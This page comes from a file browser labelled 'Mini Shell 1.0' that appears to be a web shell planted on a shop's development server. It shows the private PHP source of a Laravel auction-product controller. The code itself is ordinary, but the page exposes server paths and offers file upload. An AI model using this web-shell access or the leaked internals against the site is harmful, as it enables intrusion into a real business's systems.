HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/AuctionProductController.php
<?php



namespace App\Http\Controllers;



use Illuminate\Http\Request;



use App\Models\Product;

use App\Models\Category;

use App\Models\Order;

use App\Models\OrderDetail;

use App\Models\User;

use App\Services\AuctionService;

use App\Models\ProductQuery;

use Auth;

use Carbon\Carbon;

use DB;



class AuctionProductController extends Controller

{

    public function __construct() {

        // Staff Permission Check

        $this->middleware(['permission:view_all_auction_products'])->only('all_auction_product_list');

        $this->middleware(['permission:view_inhouse_auction_products'])->only('inhouse_auction_products');

        $this->middleware(['permission:view_seller_auction_products'])->only('seller_auction_products');

        $this->middleware(['permission:add_auction_product'])->only('product_create_admin');

        $this->middleware(['permission:edit_auction_product'])->only('product_edit_admin');

        $this->middleware(['permission:delete_auction_product'])->only('product_destroy_admin');

        $this->middleware(['permission:view_auction_product_orders'])->only('admin_auction_product_orders');

    }

    /**

     * Display a listing of the resource.

     *

     * @return \Illuminate\Http\Response

     */



    // Auction products list admin panel

    public function all_auction_product_list(Request $request)

    {

        $sort_search = null;

        $seller_id = null;

        $type = 'all';

        $products = Product::orderBy('created_at', 'desc')->where('auction_product', 1);



        if ($request->has('user_id') && $request->user_id != null) {

            $products = $products->where('user_id', $request->user_id);

            $seller_id = $request->user_id;

        }

        if ($request->search != null) {

            $products = $products->where('name', 'like', '%' . $request->search . '%');

            $sort_search = $request->search;

        }



        $products = $products->paginate(15);



        return view('auction.auction_products.index', compact('products', 'sort_search', 'type', 'seller_id'));

    }



    public function inhouse_auction_products(Request $request)

    {

        $sort_search = null;

        $seller_id = null;

        $type = 'in_house';

        $products = Product::where('added_by', 'admin')->orderBy('created_at', 'desc')->where('auction_product', 1);

        if ($request->search != null) {

            $products = $products->where('name', 'like', '%' . $request->search . '%');

            $sort_search = $request->search;

        }



        $products = $products->paginate(15);



        return view('auction.auction_products.index', compact('products', 'sort_search', 'type', 'seller_id'));

    }



    public function seller_auction_products(Request $request)

    {

        $sort_search = null;

        $seller_id = null;

        $type = 'seller';

        $products = Product::where('added_by', 'seller')->orderBy('created_at', 'desc')->where('auction_product', 1);



        if ($request->has('user_id') && $request->user_id != null) {

            $products = $products->where('user_id', $request->user_id);

            $seller_id = $request->user_id;

        }



        if ($request->search != null) {

            $products = $products

                ->where('name', 'like', '%' . $request->search . '%');

            $sort_search = $request->search;

        }



        $products = $products->paginate(15);



        return view('auction.auction_products.index', compact('products', 'sort_search', 'type', 'seller_id'));

    }

    // Auction products list admin panel end



    // Auction Products list in Seller panel 

    public function auction_product_list_seller(Request $request)

    {

        if (get_setting('seller_auction_product') == 0) {

            return redirect()->route('home');

        }



        $sort_search = null;

        $products = Product::where('auction_product', 1)->where('user_id', Auth::user()->id)->orderBy('created_at', 'desc');

        if ($request->search != null) {

            $products = $products

                ->where('name', 'like', '%' . $request->search . '%');

            $sort_search = $request->search;

        }



        $products = $products->paginate(15);



        return view('auction.frontend.seller.auction_product_list', compact('products', 'sort_search'));

    }





    /**

     * Show the form for creating a new resource.

     *

     * @return \Illuminate\Http\Response

     */

    public function product_create_admin()

    {

        $categories = Category::where('parent_id', 0)

            ->where('digital', 0)

            ->with('childrenCategories')

            ->get();



        return view('auction.auction_products.create', compact('categories'));

    }



    public function product_create_seller()

    {

        $categories = Category::where('parent_id', 0)

            ->where('digital', 0)

            ->with('childrenCategories')

            ->get();



        if (get_setting('seller_auction_product') == 1) {

            if (addon_is_activated('seller_subscription')) {

                if (Auth::user()->shop->seller_package != null && Auth::user()->shop->seller_package->product_upload_limit > Auth::user()->products()->count()) {

                    return view('auction.frontend.seller.auction_product_upload', compact('categories'));

                } else {

                    flash(translate('Upload limit has been reached. Please upgrade your package.'))->warning();

                    return back();

                }

            } else {

                return view('auction.frontend.seller.auction_product_upload', compact('categories'));

            }

        }

    }



    public function product_store_admin(Request $request)

    {

        (new AuctionService)->store($request);

        return redirect()->route('auction.inhouse_products');

    }



    public function product_store_seller(Request $request)

    {

        if (addon_is_activated('seller_subscription')) {

            if (

                Auth::user()->shop->seller_package == null ||

                Auth::user()->shop->seller_package->product_upload_limit <= Auth::user()->products()->count()

            ) {

                flash(translate('Upload limit has been reached. Please upgrade your package.'))->warning();

                return back();

            }

        }



        (new AuctionService)->store($request);

        return redirect()->route('auction_products.seller.index');

    }



    /**

     * Store a newly created resource in storage.

     *

     * @param  \Illuminate\Http\Request  $request

     * @return \Illuminate\Http\Response

     */

    public function product_destroy_admin($id)

    {

        (new AuctionService)->destroy($id);

        return redirect()->route('auction.inhouse_products');

    }



    public function product_destroy_seller($id)

    {

        (new AuctionService)->destroy($id);

        return redirect()->route('auction_products.seller.index');

    }



    /**

     * Show the form for editing the specified resource.

     *

     * @param  int  $id

     * @return \Illuminate\Http\Response

     */

    public function product_edit_admin(Request $request, $id)

    {

        $product = Product::findOrFail($id);

        $lang = $request->lang;

        $tags = json_decode($product->tags);

        $categories = Category::where('parent_id', 0)

            ->where('digital', 0)

            ->with('childrenCategories')

            ->get();

        return view('auction.auction_products.edit', compact('product', 'categories', 'tags', 'lang'));

    }



    public function product_edit_seller(Request $request, $id)

    {

        $product = Product::findOrFail($id);

        $lang = $request->lang;

        $tags = json_decode($product->tags);

        $categories = Category::where('parent_id', 0)

            ->where('digital', 0)

            ->with('childrenCategories')

            ->get();



        return view('auction.frontend.seller.auction_product_edit', compact('product', 'categories', 'tags', 'lang'));

    }





    /**

     * Update the specified resource in storage.

     *

     * @param  \Illuminate\Http\Request  $request

     * @param  int  $id

     * @return \Illuminate\Http\Response

     */

    public function product_update_admin(Request $request, $id)

    {

        (new AuctionService)->update($request, $id);

        return back();

    }



    public function product_update_seller(Request $request, $id)

    {

        (new AuctionService)->update($request, $id);

        return back();

    }



    /**

     * Remove the specified resource from storage.

     *

     * @param  int  $id

     * @return \Illuminate\Http\Response

     */

    public function destroy($id)

    {

        (new AuctionService)->destroy($id);

        return back();

    }



    public function get_products_by_brand(Request $request)

    {

        $products = Product::where('brand_id', $request->brand_id)->get();

        return view('partials.product_select', compact('products'));

    }





    public function updatePublished(Request $request)

    {

        $product = Product::findOrFail($request->id);

        $product->published = $request->status;



        if ($product->added_by == 'seller' && addon_is_activated('seller_subscription')) {

            $seller = $product->user->shop;

            if ($seller->package_invalid_at != null && Carbon::now()->diffInDays(Carbon::parse($seller->package_invalid_at), false) <= 0) {

                return 0;

            }

        }



        $product->save();

        return 1;

    }



    public function all_auction_products()

    {

        $products = Product::latest()->where('published', 1)->where('auction_product', 1);

        if (get_setting('seller_auction_product') == 0) {

            $products = $products->where('added_by', 'admin');

        }

        $products = $products->where('auction_start_date', '<=', strtotime("now"))->where('auction_end_date', '>=', strtotime("now"))->paginate(15);

        return view('auction.frontend.all_auction_products', compact('products'));

    }



    public function auction_product_details(Request $request, $slug)

    {

        $detailedProduct  = Product::where('slug', $slug)->first();

        $product_queries = ProductQuery::where('product_id', $detailedProduct->id)->where('customer_id', '!=', Auth::id())->latest('id')->paginate(3);

        $total_query = ProductQuery::where('product_id', $detailedProduct->id)->count();

        $reviews = $detailedProduct->reviews()->paginate(3);



        // review status

        $review_status = 0;

        if (Auth::check()) {

            $OrderDetail = OrderDetail::with(['order' => function ($q) {

                $q->where('user_id', Auth::id());

            }])->where('product_id', $detailedProduct->id)->where('delivery_status', 'delivered')->first();

            $review_status = $OrderDetail ? 1 : 0;

        }



        if ($detailedProduct != null) {

            return view('frontend.product_details', compact('detailedProduct', 'product_queries', 'total_query', 'reviews', 'review_status'));

        }

        abort(404);

    }



    public function purchase_history_user()

    {

        $orders = DB::table('orders')

            ->orderBy('code', 'desc')

            ->join('order_details', 'orders.id', '=', 'order_details.order_id')

            ->join('products', 'order_details.product_id', '=', 'products.id')

            ->where('orders.user_id', Auth::user()->id)

            ->where('products.auction_product', '1')

            ->select('order_details.order_id as id')

            ->paginate(15);

        return view('auction.frontend.purchase_history', compact('orders'));

    }



    public function admin_auction_product_orders(Request $request)

    {

        $payment_status = null;

        $delivery_status = null;

        $sort_search = null;

        $date = $request->date;

        $orders = DB::table('orders')

            ->orderBy('code', 'desc')

            ->join('order_details', 'orders.id', '=', 'order_details.order_id')

            ->join('products', 'order_details.product_id', '=', 'products.id')

            ->where('products.auction_product', '1')

            ->select('orders.id');



        if ($request->payment_status != null) {

            $orders = $orders->where('payment_status', $request->payment_status);

            $payment_status = $request->payment_status;

        }

        if ($request->delivery_status != null) {

            $orders = $orders->where('delivery_status', $request->delivery_status);

            $delivery_status = $request->delivery_status;

        }

        if ($request->has('search')) {

            $sort_search = $request->search;

            $orders = $orders->where('code', 'like', '%' . $sort_search . '%');

        }

        if ($date != null) {

            $orders = $orders->whereDate('orders.created_at', '>=', date('Y-m-d', strtotime(explode(" to ", $date)[0])))->whereDate('orders.created_at', '<=', date('Y-m-d', strtotime(explode(" to ", $date)[1])));

        }



        $orders = $orders->paginate(15);



        return view('auction.auction_product_orders', compact('orders', 'payment_status', 'delivery_status', 'sort_search', 'date'));

    }



    public function auction_orders_show($id)

    {

        $order = Order::findOrFail(decrypt($id));

        $order_shipping_address = json_decode($order->shipping_address);

        $delivery_boys = User::where('city', $order_shipping_address->city)

            ->where('user_type', 'delivery_boy')

            ->get();



        $order->viewed = 1;

        $order->save();



        return view('auction.auction_product_order_details', compact('order', 'delivery_boys'));

    }



    public function seller_auction_product_orders(Request $request)

    {

        if (get_setting('seller_auction_product') == 0) {

            return redirect()->route('home');

        }



        $payment_status = null;

        $delivery_status = null;

        $sort_search = null;

        $orders = DB::table('orders')

            ->orderBy('code', 'desc')

            ->where('orders.seller_id', Auth::user()->id)

            ->join('order_details', 'orders.id', '=', 'order_details.order_id')

            ->join('products', 'order_details.product_id', '=', 'products.id')

            ->where('products.auction_product', '1')

            ->select('orders.id');





        if ($request->payment_status != null) {

            $orders = $orders->where('payment_status', $request->payment_status);

            $payment_status = $request->payment_status;

        }

        if ($request->delivery_status != null) {

            $orders = $orders->where('delivery_status', $request->delivery_status);

            $delivery_status = $request->delivery_status;

        }

        if ($request->has('search')) {

            $sort_search = $request->search;

            $orders = $orders->where('code', 'like', '%' . $sort_search . '%');

        }



        $orders = $orders->paginate(15);

        return view('auction.frontend.seller.auction_product_orders', compact('orders', 'payment_status', 'delivery_status', 'sort_search'));

    }

}